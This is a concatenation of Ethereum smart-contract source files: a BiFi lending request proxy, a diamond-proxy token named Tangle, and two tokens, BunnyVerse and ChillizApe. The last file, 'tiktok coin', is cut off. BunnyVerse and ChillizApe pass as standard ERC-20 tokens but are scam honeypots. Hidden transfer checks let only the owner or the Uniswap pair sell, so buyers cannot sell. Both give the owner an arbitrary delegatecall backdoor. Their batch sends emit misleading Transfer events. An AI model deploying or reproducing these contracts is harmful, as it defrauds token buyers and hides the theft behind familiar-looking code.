_rewardLaneUpdateAt, uint256 _rewardPerBlock) external returns (bool); function getUserRewardInfo(address userAddr) external view returns (uint256, uint256, uint256); function setUserRewardInfo(address userAddr, uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardAmount) external returns (bool); function getBetaRate() external view returns (uint256); function setBetaRate(uint256 _betaRate) external returns (bool); } // File: contracts/Errors.sol pragma solidity 0.6.12; contract Modifier { string internal constant ONLY_OWNER = "O"; string internal constant ONLY_MANAGER = "M"; string internal constant CIRCUIT_BREAKER = "emergency"; } contract ManagerModifier is Modifier { string internal constant ONLY_HANDLER = "H"; string internal constant ONLY_LIQUIDATION_MANAGER = "LM"; string internal constant ONLY_BREAKER = "B"; } contract HandlerDataStorageModifier is Modifier { string internal constant ONLY_BIFI_CONTRACT = "BF"; } contract SIDataStorageModifier is Modifier { string internal constant ONLY_SI_HANDLER = "SI"; } contract HandlerErrors is Modifier { string internal constant USE_VAULE = "use value"; string internal constant USE_ARG = "use arg"; string internal constant EXCEED_LIMIT = "exceed limit"; string internal constant NO_LIQUIDATION = "no liquidation"; string internal constant NO_LIQUIDATION_REWARD = "no enough reward"; string internal constant NO_EFFECTIVE_BALANCE = "not enough balance"; string internal constant TRANSFER = "err transfer"; } contract SIErrors is Modifier { } contract InterestErrors is Modifier { } contract LiquidationManagerErrors is Modifier { string internal constant NO_DELINQUENT = "not delinquent"; } contract ManagerErrors is ManagerModifier { string internal constant REWARD_TRANSFER = "RT"; string internal constant UNSUPPORTED_TOKEN = "UT"; } contract OracleProxyErrors is Modifier { string internal constant ZERO_PRICE = "price zero"; } contract RequestProxyErrors is Modifier { } contract ManagerDataStorageErrors is ManagerModifier { string internal constant NULL_ADDRESS = "err addr null"; } // File: contracts/ReqTokenProxy.sol // SPDX-License-Identifier: BSD-3-Clause pragma solidity 0.6.12; /** * @title Bifi user request proxy (ERC-20 token) * @notice access logic contracts via delegate calls. * @author BiFi(seinmyung25, Miller-kk, tlatkdgus1, dongchangYoo) */ contract ReqTokenProxy is RequestProxyErrors { address payable owner; uint256 handlerID; string tokenName; uint256 constant unifiedPoint = 10 ** 18; uint256 unifiedTokenDecimal = 10 ** 18; uint256 underlyingTokenDecimal; IMarketManager marketManager; IInterestModel interestModelInstance; IMarketHandlerDataStorage handlerDataStorage; IMarketSIHandlerDataStorage SIHandlerDataStorage; IERC20 erc20Instance; address public handler; address public SI; string DEPOSIT = "deposit(uint256,bool)"; string REDEEM = "withdraw(uint256,bool)"; string BORROW = "borrow(uint256,bool)"; string REPAY = "repay(uint256,bool)"; modifier onlyOwner { require(msg.sender == owner, ONLY_OWNER); _; } modifier onlyMarketManager { address msgSender = msg.sender; require((msgSender == address(marketManager)) || (msgSender == owner), ONLY_MANAGER); _; } /** * @dev Construct a new TokenProxy which uses tokenHandlerLogic */ constructor () public { owner = msg.sender; } /** * @dev Replace the owner of the handler * @param _owner the address of the new owner * @return true (TODO: validate results) */ function ownershipTransfer(address _owner) onlyOwner external returns (bool) { owner = address(uint160(_owner)); return true; } /** * @dev Initialize the contract * @param _handlerID ID of handler * @param marketManagerAddr The address of market manager * @param interestModelAddr The address of handler interest model contract address * @param marketDataStorageAddr The address of handler data storage * @param erc20Addr The address of target ERC-20 token (underlying asset) * @param _tokenName The name of target ERC-20 token * @param siHandlerAddr The address of service incentive contract * @param SIHandlerDataStorageAddr The address of service incentive data storage */ function initialize(uint256 _handlerID, address handlerAddr, address marketManagerAddr, address interestModelAddr, address marketDataStorageAddr, address erc20Addr, string memory _tokenName, address siHandlerAddr, address SIHandlerDataStorageAddr) onlyOwner public returns (bool) { handlerID = _handlerID; handler = handlerAddr; marketManager = IMarketManager(marketManagerAddr); interestModelInstance = IInterestModel(interestModelAddr); handlerDataStorage = IMarketHandlerDataStorage(marketDataStorageAddr); erc20Instance = IERC20(erc20Addr); tokenName = _tokenName; SI = siHandlerAddr; SIHandlerDataStorage = IMarketSIHandlerDataStorage(SIHandlerDataStorageAddr); } /** * @dev Set ID of handler * @param _handlerID The id of handler * @return true (TODO: validate results) */ function setHandlerID(uint256 _handlerID) onlyOwner public returns (bool) { handlerID = _handlerID; return true; } /** * @dev Set the address of handler * @param handlerAddr The address of handler * @return true (TODO: validate results) */ function setHandlerAddr(address handlerAddr) onlyOwner public returns (bool) { handler = handlerAddr; return true; } /** * @dev Set the address of service incentive contract * @param siHandlerAddr The address of service incentive contract * @return true (TODO: validate results) */ function setSiHandlerAddr(address siHandlerAddr) onlyOwner public returns (bool) { SI = siHandlerAddr; return true; } /** * @dev Get ID of handler * @return The connected handler ID */ function getHandlerID() public view returns (uint256) { return handlerID; } /** * @dev Get the address of handler * @return The handler address */ function getHandlerAddr() public view returns (address) { return handler; } /** * @dev Get address of service incentive contract * @return The service incentive contract address */ function getSiHandlerAddr() public view returns (address) { return SI; } /** * @dev Move assets to sender for the migration event */ function migration(address target) onlyOwner public returns (bool) { uint256 balance = erc20Instance.balanceOf(address(this)); erc20Instance.transfer(target, balance); } /** * @dev Forward the deposit request for deposit to the handler logic contract. * @param unifiedTokenAmount The amount of coins to deposit * @param flag Flag for the full calcuation mode * @return whether the deposit has been made successfully or not. */ function deposit(uint256 unifiedTokenAmount, bool flag) public payable returns (bool) { bool result; bytes memory returnData; bytes memory data = abi.encodeWithSignature(DEPOSIT, unifiedTokenAmount, flag); (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return result; } /** * @dev Forward the withdraw request for withdraw to the handler logic contract. * @param unifiedTokenAmount The amount of coins to withdraw * @param flag Flag for the full calcuation mode * @return whether the withdraw has been made successfully or not. */ function withdraw(uint256 unifiedTokenAmount, bool flag) public returns (bool) { bool result; bytes memory returnData; bytes memory data = abi.encodeWithSignature(REDEEM, unifiedTokenAmount, flag); (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return result; } /** * @dev Forward the borrow request for borrow to the handler logic contract. * @param unifiedTokenAmount The amount of coins to borrow * @param flag Flag for the full calcuation mode * @return whether the borrow has been made successfully or not. */ function borrow(uint256 unifiedTokenAmount, bool flag) public returns (bool) { bool result; bytes memory returnData; bytes memory data = abi.encodeWithSignature(BORROW, unifiedTokenAmount, flag); (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return result; } /** * @dev Forward the repay request for repay to the handler logic contract. * @param unifiedTokenAmount The amount of coins to repay * @param flag Flag for the full calcuation mode * @return whether the repay has been made successfully or not. */ function repay(uint256 unifiedTokenAmount, bool flag) public payable returns (bool) { bool result; bytes memory returnData; bytes memory data = abi.encodeWithSignature(REPAY, unifiedTokenAmount, flag); (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return result; } /** * @dev Call other functions in handler logic contract. * @param data The encoded value of the function and argument * @return The result of the call */ function handlerProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory) { bool result; bytes memory returnData; (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return (result, returnData); } /** * @dev Call other view functions in handler logic contract. * (delegatecall does not work for view functions) * @param data The encoded value of the function and argument * @return The result of the call */ function handlerViewProxy(bytes memory data) external returns (bool, bytes memory) { bool result; bytes memory returnData; (result, returnData) = handler.delegatecall(data); require(result, string(returnData)); return (result, returnData); } /** * @dev Call other functions in service incentive logic contract. * @param data The encoded value of the function and argument * @return The result of the call */ function siProxy(bytes memory data) onlyMarketManager external returns (bool, bytes memory) { bool result; bytes memory returnData; (result, returnData) = SI.delegatecall(data); require(result, string(returnData)); return (result, returnData); } /** * @dev Call other view functions in service incentive logic contract. * (delegatecall does not work for view functions) * @param data The encoded value of the function and argument * @return The result of the call */ function siViewProxy(bytes memory data) external returns (bool, bytes memory) { bool result; bytes memory returnData; (result, returnData) = SI.delegatecall(data); require(result, string(returnData)); return (result, returnData); } }
DC1
pragma solidity ^0.5.17; /* BunnyVerseCoin Initial Supply 1 trillion Marketing fee 8% Development fee 2% Liquidity Fee 2% */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BunnyVerse { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /** *Submitted for verification at Etherscan.io on 2021-06-22 */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ChillizApe { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.9; /// @title Tangle, a token implementation using EIP-2535: Multi-Facet Proxy /// @author Brad Brown /// @notice Pieces of this contract can be updated without needing to redeploy /// the entire contract /// @dev implements IDiamondCut and IDiamondLoupe contract Tangle { mapping(bytes4 => address) private selectorToAddress; /// @notice The owner of this contract address public owner; enum FacetCutAction {Add, Replace, Remove} struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } struct Facet { address facetAddress; bytes4[] functionSelectors; } address[] private addresses; mapping(address => uint) private addressIndex; mapping(address => bytes4[]) private addressToSelectors; mapping(bytes4 => uint) private selectorIndex; /// @notice Records all functions added, replaced, or removed from this /// contract event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); /// @notice set owner to deployer constructor() { owner = msg.sender; } /// @notice payable fallback, does nothing receive() external payable {} /// @notice executes calldata via delegatecall to address if /// calldata's selector is assigned /// @dev Input is calldata /// @return bytes response from delegatecall fallback (bytes calldata) external payable returns (bytes memory) { address address_ = selectorToAddress[msg.sig]; require(address_ != address(0), "zero facet"); assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall( gas(), address_, 0, calldatasize(), 0, 0 ) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return (0, returndatasize()) } } } /// @notice checks if an address is in use as a facet /// @param address_ an address to a facet /// @return bool whether the address is in use or not function facetAddressExists(address address_) internal view returns (bool) { if (addresses.length == 0) return false; if (addresses[0] != address_ && addressIndex[address_] == 0) return false; return true; } /// @notice assigns a selector to an address, revert if selector already /// assigned /// @param selector an 8 byte function selector /// @param facetAddress_ an address to a facet function addSelector( bytes4 selector, address facetAddress_ ) internal { address currentFacetAddress = selectorToAddress[selector]; require(currentFacetAddress == address(0), "selector add"); selectorToAddress[selector] = facetAddress_; selectorIndex[selector] = addressToSelectors[facetAddress_].length; addressToSelectors[facetAddress_].push(selector); } /// @notice removes a selector from an address, revert if selector isn't /// assigned /// @param selector an 8 byte function selector /// @param facetAddress_ an address to a facet function removeSelector( bytes4 selector, address facetAddress_ ) internal { address currentFacetAddress = selectorToAddress[selector]; require(currentFacetAddress != address(0), "selector remove"); bytes4[] memory selectors = addressToSelectors[facetAddress_]; bytes4 lastSelector = selectors[selectors.length - 1]; if (lastSelector != selector) { selectorIndex[lastSelector] = selectorIndex[selector]; selectors[selectorIndex[selector]] = lastSelector; } if (selectors.length > 0) { assembly { mstore(selectors, sub(mload(selectors), 1)) } addressToSelectors[facetAddress_] = selectors; } if (selectors.length == 0) { address lastAddress = addresses[addresses.length - 1]; if (lastAddress != facetAddress_) { addressIndex[lastAddress] = addressIndex[facetAddress_]; addresses[addressIndex[facetAddress_]] = lastAddress; } addresses.pop(); addressIndex[facetAddress_] = 0; } selectorToAddress[selector] = address(0); } /// @notice reassigns a selector to an address, revert if no change in /// selector address /// @param selector an 8 byte function selector /// @param facetAddress_ an address to a facet function replaceSelector( bytes4 selector, address facetAddress_ ) internal { address currentFacetAddress = selectorToAddress[selector]; require(currentFacetAddress != facetAddress_, "selector replace"); bytes4[] memory selectors = addressToSelectors[currentFacetAddress]; bytes4 lastSelector = selectors[selectors.length - 1]; if (lastSelector != selector) { selectorIndex[lastSelector] = selectorIndex[selector]; selectors[selectorIndex[selector]] = lastSelector; } if (selectors.length > 0) { assembly { mstore(selectors, sub(mload(selectors), 1)) } addressToSelectors[currentFacetAddress] = selectors; } if (selectors.length == 0) { address lastAddress = addresses[addresses.length - 1]; if (lastAddress != currentFacetAddress) { addressIndex[lastAddress] = addressIndex[currentFacetAddress]; addresses[addressIndex[currentFacetAddress]] = lastAddress; } addresses.pop(); addressIndex[currentFacetAddress] = 0; } selectorToAddress[selector] = facetAddress_; selectorIndex[selector] = addressToSelectors[facetAddress_].length; addressToSelectors[facetAddress_].push(selector); } /// @notice Add/replace/remove any number of functions and optionally /// execute a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and /// arguments _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external { require(msg.sender == owner, "not owner"); bool changesMade = false; for (uint i = 0; i < _diamondCut.length; i++) { FacetCut memory facetCut = _diamondCut[i]; address facetAddress_ = _diamondCut[i].facetAddress; if (!facetAddressExists(facetAddress_)) { addressIndex[facetAddress_] = addresses.length; addresses.push(facetCut.facetAddress); } for (uint j = 0; j < facetCut.functionSelectors.length; j++) { bytes4 selector = facetCut.functionSelectors[j]; if (facetCut.action == FacetCutAction.Add) { addSelector(selector, facetAddress_); if (!changesMade) changesMade = true; } if (facetCut.action == FacetCutAction.Replace) { replaceSelector(selector, facetAddress_); if (!changesMade) changesMade = true; } if (facetCut.action == FacetCutAction.Remove) { removeSelector(selector, facetAddress_); if (!changesMade) changesMade = true; } } } if (_init != address(0)) { require(_calldata.length > 0, "empty calldata"); (bool success,) = _init.delegatecall(_calldata); require(success, "call unsuccessful"); } if (changesMade) emit DiamondCut(_diamondCut, _init, _calldata); } /// @notice Gets all facet addresses and their four byte function /// selectors. /// @return facets_ Facet function facets() external view returns (Facet[] memory) { Facet[] memory facets_ = new Facet[](addresses.length); for (uint i = 0; i < addresses.length; i++) { Facet memory facet; facet.facetAddress = addresses[i]; facet.functionSelectors = addressToSelectors[addresses[i]]; facets_[i] = facet; } return facets_; } /// @notice Gets all the function selectors supported by a specific facet. /// @param _facet The facet address. /// @return facetFunctionSelectors_ function facetFunctionSelectors( address _facet ) external view returns (bytes4[] memory) { return addressToSelectors[_facet]; } /// @notice Get all the facet addresses used by a diamond. /// @return facetAddresses_ function facetAddresses() external view returns (address[] memory) { return addresses; } /// @notice Gets the facet that supports the given selector. /// @dev If facet is not found return address(0). /// @param _functionSelector The function selector. /// @return facetAddress_ The facet address. function facetAddress(bytes4 _functionSelector) external view returns (address) { return selectorToAddress[_functionSelector]; } }
DC1
/* tiktok coin */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function 